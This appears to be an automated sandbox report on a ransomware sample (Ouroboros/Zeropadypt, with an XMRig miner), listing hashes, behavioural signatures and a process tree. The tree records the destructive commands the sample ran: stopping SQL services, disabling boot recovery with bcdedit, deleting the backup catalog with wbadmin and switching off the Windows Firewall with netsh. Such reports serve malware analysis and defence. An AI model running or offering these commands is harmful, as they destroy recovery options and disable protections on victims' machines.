Analysis
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max time kernel
61s -
max time network
143s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
11-05-2021 11:40
General
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Target
26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe
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Size
997KB
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MD5
ba454585b9f42c7254c931c192556e08
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SHA1
0b530303634283a43d53abd9190106869f57ba5a
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SHA256
26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa
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SHA512
2cb918eab6776c7cfea031cbb48cc4e33e068489a37f39ba1e246f32fef7a35c3511293b399c81b5b8056bca50d725554866584460f04efe0d65c1d1c625bc4b
Score
10/10
Malware Config
Signatures
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Ouroboros/Zeropadypt
Ransomware family based on open-source CryptoWire.
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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Modifies Windows Firewall 1 TTPs
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Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
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Drops startup file 1 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops desktop.ini file(s) 64 IoCs
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Drops file in System32 directory 1 IoCs
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Drops file in Program Files directory 64 IoCs
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Drops file in Windows directory 64 IoCs
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NTFS ADS 37 IoCs
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious use of WriteProcessMemory 64 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe"C:\Users\Admin\AppData\Local\Temp\26690dae115f47a1e0167750209a30cc68f51c5090e3b908105c93967e5156fa_unpacked.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop SQLWriter2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop SQLWriter3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop SQLBrowser2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop SQLBrowser3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop MSSQLSERVER2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop MSSQLSERVER3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop MSSQL$CONTOSO12⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop MSSQL$CONTOSO13⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$CONTOSO14⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop MSDTC2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net.exenet stop MSDTC3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSDTC4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet2⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT2⤵
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C:\Windows\SysWOW64\net.exenet stop SQLSERVERAGENT3⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLSERVERAGENT4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop MSSQLSERVER2⤵
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C:\Windows\SysWOW64\net.exenet stop MSSQLSERVER3⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net stop vds2⤵
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C:\Windows\SysWOW64\net.exenet stop vds3⤵
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop vds4⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off2⤵
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C:\Windows\SysWOW64\netsh.exenetsh advfirewall set currentprofile state off3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh firewall set opmode mode=disable2⤵
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/588-76-0x0000000000000000-mapping.dmp
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memory/640-73-0x0000000000000000-mapping.dmp
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memory/676-80-0x0000000000000000-mapping.dmp
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memory/736-81-0x0000000000000000-mapping.dmp
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memory/740-79-0x0000000000000000-mapping.dmp
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memory/764-77-0x0000000000000000-mapping.dmp
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memory/824-69-0x0000000000000000-mapping.dmp
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memory/1064-86-0x0000000000000000-mapping.dmp
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memory/1152-74-0x0000000000000000-mapping.dmp
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memory/1228-68-0x0000000000000000-mapping.dmp
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memory/1232-78-0x0000000000000000-mapping.dmp
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memory/1236-75-0x0000000000000000-mapping.dmp
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memory/1252-71-0x0000000000000000-mapping.dmp
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memory/1360-67-0x0000000000000000-mapping.dmp
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memory/1536-70-0x0000000000000000-mapping.dmp
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memory/1608-91-0x0000000000000000-mapping.dmp
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memory/1628-83-0x0000000000000000-mapping.dmp
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memory/1632-72-0x0000000000000000-mapping.dmp
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memory/1656-84-0x0000000000000000-mapping.dmp
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memory/1708-66-0x0000000000000000-mapping.dmp
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memory/1740-88-0x0000000000000000-mapping.dmp
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memory/1740-89-0x0000000075A71000-0x0000000075A73000-memory.dmpFilesize
8KB
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memory/1780-62-0x0000000000000000-mapping.dmp
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memory/1784-63-0x0000000000000000-mapping.dmp
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memory/1784-90-0x0000000000000000-mapping.dmp
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memory/1792-64-0x0000000000000000-mapping.dmp
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memory/1812-65-0x0000000000000000-mapping.dmp
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memory/1844-87-0x0000000000000000-mapping.dmp
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memory/1848-82-0x0000000000000000-mapping.dmp
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memory/1900-61-0x0000000000000000-mapping.dmp
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memory/1968-60-0x0000000000000000-mapping.dmp
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memory/1984-85-0x0000000000000000-mapping.dmp